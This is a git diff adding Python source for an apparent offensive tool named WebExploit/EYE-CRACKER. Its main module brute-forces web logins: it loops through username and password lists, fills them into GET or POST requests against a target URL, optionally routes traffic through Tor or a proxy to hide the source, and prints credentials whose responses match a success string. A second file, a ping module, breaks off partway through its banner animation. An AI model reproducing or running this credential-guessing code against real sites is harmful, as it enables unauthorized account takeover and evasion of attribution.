+ print (f' {f.WHITE}[{white}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{white}{bold}USE-COOKIES?{nbold}{f.WHITE}]{f.CYAN} >>> {bold}{cooki}{nbold}\n')
+ t.sleep(1)
+ print (f' {f.WHITE}[{white}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{white}{bold}USE-TOR?{nbold}{f.WHITE}]{f.CYAN} >>> {bold}{tor_use}{nbold}\n')
+ t.sleep(1)
+ print (f' {f.WHITE}[{white}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{white}{bold}USE-PROXY?{nbold}{f.WHITE}]{f.CYAN} >>> {bold}{proxy_use}[{proxy_type}]{nbold}\n')
+ t.sleep(1)
+ print (f' {f.WHITE}[{white}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{white}{bold}USE-HEADERS?{nbold}{f.WHITE}]{f.CYAN} >>> {bold}{use_header}{nbold}\n')
+ t.sleep(1)
+ print (f' {f.WHITE}[{white}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{white}{bold}DELAY?{nbold}{f.WHITE}]{f.CYAN} >>> {bold}%s{nbold}\n' % (str(slep)))
+ t.sleep(1)
+ print (f' {f.WHITE}[{white}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{white}{bold}METHOD?{nbold}{f.WHITE}]{f.CYAN} >>> {bold}{method}{nbold}\n')
+ t.sleep(1)
+ print (f' {f.WHITE}[{white}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{white}{bold}AUTH-TYPE?{nbold}{f.WHITE}]{f.CYAN} >>> {bold}{auth_type}---[text]{nbold}\n')
+ t.sleep(1)
+ print (f' {f.WHITE}[{white}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{white}{bold}AUTH-TEXT?{nbold}{f.WHITE}]{f.CYAN} >>> {bold}{auth_text}---[{auth_type} text]{nbold}\n')
+
+ t.sleep(1)
+ print(f'{nbold}')
+
+
+ def WithTor():
+
+ if method == 'get' or method == 'get-form':
+ tor_proxy = {
+ 'http': 'socks5://localhost:9050',
+ 'https': 'socks5://localhost:9050'
+ }
+ tor_error = 'ConnectionError'
+
+ for user in user_names:
+ for pwd in passwords:
+ try:
+ result = r.get(url, headers=headers, proxies=tor_proxy)
+ result_text = result.text
+
+ if auth_type == 'true':
+ if auth_text in result_text:
+ #print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n')
+ print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code)))
+ t.sleep(1)
+ print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{white}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}AUTH TEXT{nbold}{white}]---[{l_gray}{auth_text}{white}]---[{l_green} WAS {bold}FOUND{nbold} IN SITE !{nbold}{white}]')
+ break
+ else:
+ print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}]{white}<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n')
+ # continue
+
+
+ if auth_type == 'false':
+ if auth_text not in result_text:
+ print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code)))
+ t.sleep(1)
+ print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}{white}]<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}AUTH TEXT{nbold}{white}]---[{l_gray}{auth_text}{white}]---[{l_green} WAS {bold}NOT FOUND{nbold} IN SITE !{nbold}{white}]')
+ break
+ else:
+ print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n')
+ else:
+ print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}{white}]<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n')
+ try:
+ t.sleep(slep)
+ except:
+ pass
+ except ConnectionError:
+ print(f'\n {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{white}@{nbold}{l_red}/TorError{f.WHITE}] Forgot Run Tor? | EYE CRACKER STOPED ! PLEASE RUN {bold}{l_green}TOR{white}{nbold} IN A {bold}NEW TAB{nbold} AND TRY AGAN {nbold}\n')
+ t.sleep(3)
+ print(f'\n {f.WHITE}[{f.GREEN}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] EXITTING . . . {nbold}\n')
+ sys.exit(0)
+ #break
+ if method == 'post' or method == 'post-form':
+ tor_proxy = {
+ 'http': 'socks5://localhost:9050',
+ 'https': 'socks5://localhost:9050'
+ }
+ tor_error = 'ConnectionError'
+
+ for user in user_names:
+ final_user_dataa = user_data.replace('$USER$',user)
+ for pwd in passwords:
+ final_user_data = final_user_dataa.replace('$PASSWORD$', pwd)
+ try:
+ result = r.post(url, headers=headers, data=final_user_data ,proxies=tor_proxy)
+ result_text = result.text
+
+ if auth_type == 'true':
+ if auth_text in result_text:
+ #print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n')
+ print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code)))
+ t.sleep(1)
+ print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}AUTH TEXT{nbold}{white}]---[{l_gray}{auth_text}{white}]---[{l_green} WAS {bold}FOUND{nbold} IN SITE !{nbold}{white}]')
+ break
+ else:
+ #print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code)))
+ continue
+
+
+ if auth_type == 'false':
+ if auth_text not in result_text:
+ print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code)))
+ t.sleep(1)
+ print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}AUTH TEXT{nbold}{white}]---[{l_gray}{auth_text}{white}]---[{l_green} WAS {bold}NOT FOUND{nbold} IN SITE !{nbold}{white}]')
+ break
+ else:
+ continue
+ else:
+ print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n')
+ continue
+ try:
+ t.sleep(slep)
+ except:
+ pass
+
+ except ConnectionError: # tor error
+ print(f'\n {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{white}@{nbold}{l_red}/TorError{f.WHITE}] Forgot Run Tor? | EYE CRACKER STOPED ! PLEASE RUN {bold}{l_green}TOR{white}{nbold} IN A {bold}NEW TAB{nbold} AND TRY AGAN {nbold}\n')
+ t.sleep(3)
+ print(f'\n {f.WHITE}[{f.GREEN}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] EXITTING . . . {nbold}\n')
+ sys.exit(0)
+ #break
+
+ def WithProxy():
+ if method == 'get' or method == 'get-form':
+ _proxy = {
+ 'http': proxy_type+'://localhost:9050',
+ 'https': proxy_type+'://localhost:9050'
+ }
+ tor_error = 'ConnectionError'
+
+ for user in user_names:
+ for pwd in passwords:
+ try:
+ result = r.get(url, headers=headers, proxies=_proxy)
+ result_text = result.text
+
+ if auth_type == 'true':
+ if auth_text in result_text:
+ #print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n')
+ print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code)))
+ t.sleep(1)
+ print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{white}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}AUTH TEXT{nbold}{white}]---[{l_gray}{auth_text}{white}]---[{l_green} WAS {bold}FOUND{nbold} IN SITE !{nbold}{white}]')
+ break
+ else:
+ print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}]{white}<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n')
+ # continue
+
+
+ if auth_type == 'false':
+ if auth_text not in result_text:
+ print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code)))
+ t.sleep(1)
+ print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}{white}]<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}AUTH TEXT{nbold}{white}]---[{l_gray}{auth_text}{white}]---[{l_green} WAS {bold}NOT FOUND{nbold} IN SITE !{nbold}{white}]')
+ break
+ else:
+ print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n')
+ else:
+ print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}{white}]<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n')
+ try:
+ t.sleep(slep)
+ except:
+ pass
+ except ConnectionError:
+ continue
+ # print(f'\n {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{white}@{nbold}{l_red}/TorError{f.WHITE}] Forgot Run Tor? | EYE CRACKER STOPED ! PLEASE RUN {bold}{l_green}TOR{white}{nbold} IN A {bold}NEW TAB{nbold} AND TRY AGAN {nbold}\n')
+ # t.sleep(3)
+ # print(f'\n {f.WHITE}[{f.GREEN}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] EXITTING . . . {nbold}\n')
+ # sys.exit(0)
+ #break
+ if method == 'post' or method == 'post-form':
+ _proxy = {
+ 'http': proxy_type+'://localhost:9050',
+ 'https': proxy_type+'://localhost:9050'
+ }
+
+
+ for user in user_names:
+ final_user_dataa = user_data.replace('$USER$',user)
+ for pwd in passwords:
+ final_user_data = final_user_dataa.replace('$PASSWORD$', pwd)
+ try:
+ result = r.post(url, headers=headers, data=final_user_data ,proxies=_proxy)
+ result_text = result.text
+
+ if auth_type == 'true':
+ if auth_text in result_text:
+ #print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n')
+ print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code)))
+ t.sleep(1)
+ print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}AUTH TEXT{nbold}{white}]---[{l_gray}{auth_text}{white}]---[{l_green} WAS {bold}FOUND{nbold} IN SITE !{nbold}{white}]')
+ break
+ else:
+ #print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code)))
+ continue
+
+
+ if auth_type == 'false':
+ if auth_text not in result_text:
+ print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code)))
+ t.sleep(1)
+ print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}AUTH TEXT{nbold}{white}]---[{l_gray}{auth_text}{white}]---[{l_green} WAS {bold}NOT FOUND{nbold} IN SITE !{nbold}{white}]')
+ break
+ else:
+ continue
+ else:
+ print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n')
+ continue
+ try:
+ t.sleep(slep)
+ except:
+ pass
+
+ except ConnectionError:
+ continue
+ # print(f'\n {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{white}@{nbold}{l_red}/ProxyError{f.WHITE}] Forgot check proxies? | EYE CRACKER STOPED ! PLEASE check {bold}{l_green}TOR{white}{nbold} IN A {bold}NEW TAB{nbold} AND TRY AGAN {nbold}\n')
+ #t.sleep(3)
+ #print(f'\n {f.WHITE}[{f.GREEN}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] EXITTING . . . {nbold}\n')
+ #sys.exit(0)
+ #break
+
+
+ def noProxy():
+ if method == 'get' or method == 'get-form':
+ for user in user_names:
+ for pwd in passwords:
+ try:
+ result = r.get(url, headers=headers)
+ result_text = result.text
+
+ if auth_type == 'true':
+ if auth_text in result_text:
+ #print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n')
+ print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code)))
+ t.sleep(1)
+ print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{white}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}AUTH TEXT{nbold}{white}]---[{l_gray}{auth_text}{white}]---[{l_green} WAS {bold}FOUND{nbold} IN SITE !{nbold}{white}]')
+ break
+ else:
+ print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}]{white}<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n')
+ # continue
+
+
+ if auth_type == 'false':
+ if auth_text not in result_text:
+ print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code)))
+ t.sleep(1)
+ print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}{white}]<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}AUTH TEXT{nbold}{white}]---[{l_gray}{auth_text}{white}]---[{l_green} WAS {bold}NOT FOUND{nbold} IN SITE !{nbold}{white}]')
+ break
+ else:
+ print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n')
+ else:
+ print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}{white}]<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n')
+ try:
+ t.sleep(slep)
+ except:
+ pass
+ except:
+ pass
+ #break
+ if method == 'post' or method == 'post-form':
+
+
+ for user in user_names:
+ final_user_dataa = user_data.replace('$USER$',user)
+ for pwd in passwords:
+ final_user_data = final_user_dataa.replace('$PASSWORD$', pwd)
+ try:
+ result = r.post(url, headers=headers, data=final_user_data)
+ result_text = result.text
+
+ if auth_type == 'true':
+ if auth_text in result_text:
+ #print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n')
+ print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code)))
+ t.sleep(1)
+ print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}AUTH TEXT{nbold}{white}]---[{l_gray}{auth_text}{white}]---[{l_green} WAS {bold}FOUND{nbold} IN SITE !{nbold}{white}]')
+ break
+ else:
+ #print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code)))
+ continue
+
+
+ if auth_type == 'false':
+ if auth_text not in result_text:
+ print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code)))
+ t.sleep(1)
+ print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}AUTH TEXT{nbold}{white}]---[{l_gray}{auth_text}{white}]---[{l_green} WAS {bold}NOT FOUND{nbold} IN SITE !{nbold}{white}]')
+ break
+ else:
+ continue
+ else:
+ print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n')
+ continue
+ try:
+ t.sleep(slep)
+ except:
+ pass
+
+ except:
+ pass
+ #break
+
+ if tor_use == True:
+ WithTor()
+ if proxy_use == True:
+ WithProxy()
+ else:
+ noProxy()
+
+
+
diff --git a/cores/ping.py b/cores/ping.py
new file mode 100644
index 0000000..b1c538a
--- /dev/null
+++ b/cores/ping.py
@@ -0,0 +1,219 @@
+def run():
+ '''
+ MIT License
+
+Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r]
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+'''
+ try:
+ import time as t
+ from colorama import Fore as f
+ import sys, os
+ from random import choice
+ from bs4 import BeautifulSoup as bs
+ import json
+ import requests as r
+ #r = requests.Session()
+ except:
+ print("\033[0;31m please run command \033[0;32m pip install -r requirements.txt !")
+ t.sleep(1)
+ sys.exit()
+
+ black = "\033[0;30m"
+ red = "\033[0;31m"
+ green = "\033[0;32m"
+ brown = "\033[0;33m"
+ blue = "\033[0;34m"
+ purple = "\033[0;35m"
+ cyan = "\033[0;36m"
+ l_gray = "\033[0;37m"
+ dark_gray = "\033[1;30m"
+ l_red = "\033[1;31m"
+ l_green = "\033[1;32m"
+ yellow = "\033[1;33m"
+ l_blue = "\033[1;34m"
+ l_purple = "\033[1;35m"
+ l_cyan = "\033[1;36m"
+ l_white = "\033[1;37m"
+ faint = "\033[2m"
+ italic = "\033[3m"
+ underline = "\033[4m"
+ blink = "\033[5m"
+ nefative = "\033[7m"
+ cross = "\033[9m"
+ ended = "\033[0m"
+ bold = "\033[1m"
+ nbold = "\033[0m"
+ white = f.WHITE
+
+ bnr = ['''
+ ▄████▄ █████ ▄▄▄▄
+ ▒██▀ ▀█ ▓██ ▓█████▄
+ ▒▓█ ▄ ▒████ ▒██▒ ▄██
+ ▒▓▓▄ ▄██ ░▓█▒ ▒██░█▀
+ ▒ ▓███▀ ▒░▒█░ ▒░▓█ ▀█▓
+ ░ ░▒ ▒ ░ ▒ ░ ░░▒▓███▀▒
+ ░ ▒ ░ ░ ░▒░▒ ░
+ ░ ░ ░ ░ ░
+ ░ ░ ░ ░ ░ ''', '''
+ ▄▄· ·▄▄▄ ▄▄▄▄·
+ ▐█ ▌▪ █ · ▐█ ▀█▪
+ ██ ▄▄ █▀▀▪ ▐█▀▀█▄
+ ▐███▌ ██ . ██▄▪▐█
+ ·▀▀▀ ▀▀▀ ·▀▀▀▀ ''']
+
+ def r_bnr(bnr):
+ return choice(bnr)
+
+ print (f'{blink}{r_bnr(bnr)}{ended}', end='')
+ t.sleep(2)
+ print(f' {italic}From{ended} : ', end='')
+ #create flush text [simple]
+ print(f'{red}{bold}', end='', flush=True)
+ print(f'{bold}W', end='', flush=True)
+ t.sleep(0.5)
+ print('e', end='', flush=True)
+ t.sleep(0.7)
+ print('b', end='', flush=True)
+ t.sleep(0.4)
+ print('E', end='', flush=True)
+ t.sleep(0.1)
+ print('x', end='', flush=True)
+ t.sleep(0.2)
+ print('p', end='', flush=True)
+ t.sleep(0.3)
+ print('l', end='', flush=True)
+ t.sleep(0.4)
+ print('o', end='', flush=True)
+ t.sleep(0.5)
+ print('i', end='', flush=True)
